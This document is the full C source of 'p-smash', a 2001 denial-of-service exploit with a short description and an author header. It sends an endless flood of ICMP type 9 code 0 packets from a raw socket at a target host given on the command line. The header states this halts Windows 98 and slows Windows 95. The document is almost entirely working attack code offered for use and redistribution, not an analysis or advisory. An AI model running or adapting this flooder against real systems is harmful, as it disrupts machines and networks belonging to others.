P-smash.c is an exploit that uses 50 percent of the CPU on windows 98 machines and causes windows 95 machines to slow down by sending ICMP type 9 code 0 packets.
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/*
* p-smash.c
*
* Author:
* Paulo Ribeiro <prrar@nitnet.com.br>
* Rio de Janeiro, RJ, Brazil - January, 2001
*
* Results:
* While running this program, the target system will be halted or
* will get too slow.
*
* Message from ipchains:
* Jan 26 17:42:22 host kernel: Packet log: input ACCEPT eth0 PROTO=1
* 192.168.0.2:9 192.168.0.1:0 L=84 S=0x00 I=33619 F=0x0000 T=64 (#5)
*
* Systems affected:
* Microsoft Windows 95 - slows down
* Microsoft Windows 98 - halts
* Any other?
*
* Why:
* Seems that Microsoft Windows 98 can't handle with a ICMP packet with
* type 9 and code 0.
*
* Yes, you can modify and redistribute this program, but keep my name on it.
*/
#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in_systm.h>
#define MAXPACKET 4096
int s;
int ident;
struct sockaddr whereto;
void send_pkt(int argc, char *argv[]);
int main(int argc, char *argv[])
{
char *hostname;
char *inet_ntoa();
char *toaddr = NULL;
char hnamebuf[MAXHOSTNAMELEN];
struct sockaddr_in *to = (struct sockaddr_in *) &whereto;
struct hostent *hp;
struct protoent *proto;
if (argc != 2)
{
fprintf(stderr,"Usage: %s <hostname>\n", argv[0]);
exit(1);
}
bzero((char *)&whereto, sizeof(struct sockaddr));
to->sin_family = AF_INET;
to->sin_addr.s_addr = inet_addr(argv[1]);
if (to->sin_addr.s_addr != -1)
{
strcpy(hnamebuf, argv[1]);
hostname = hnamebuf;
}
else
{
hp = gethostbyname(argv[1]);
if (hp)
{
to->sin_family = hp->h_addrtype;
bcopy(hp->h_addr, (caddr_t)&to->sin_addr, hp->h_length);
hostname = hp->h_name;
toaddr = inet_ntoa(to->sin_addr.s_addr);
}
else
{
printf("p-smash: unknown host %s\n", argv[1]);
exit(1);
}
}
ident = getpid() & 0xFFFF;
if ((proto = getprotobyname("icmp")) == NULL)
{
fprintf(stderr, "p-smash: icmp: unknown protocol\n");
exit(1);
}
if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
{
perror("p-smash: socket");
exit(1);
}
setlinebuf(stdout);
printf("Sending packets to %s... ", hostname);
fflush(stdout);
for (;;)
send_pkt(argc, argv);
exit(0);
}
void send_pkt(int argc, char *argv[])
{
static unsigned char outpack[MAXPACKET];
struct icmp *icp = (struct icmp *) outpack;
int ntransmitted = 0;
icp->icmp_type = 9; // here
icp->icmp_code = 0; // it is
icp->icmp_seq = ntransmitted++;
icp->icmp_id = ident;
icp->icmp_cksum = in_cksum(icp, 64);
sendto(s, outpack, 64, 0, &whereto, sizeof(struct sockaddr));
}
in_cksum(unsigned short *addr, int len)
{
register int nleft = len;
register unsigned short *w = addr;
register unsigned short answer;
register int sum = 0;
unsigned short odd_byte = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(unsigned char *)(&odd_byte) = *(unsigned char *)w;
sum += odd_byte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
/*
* p-smash.c: EOF
*/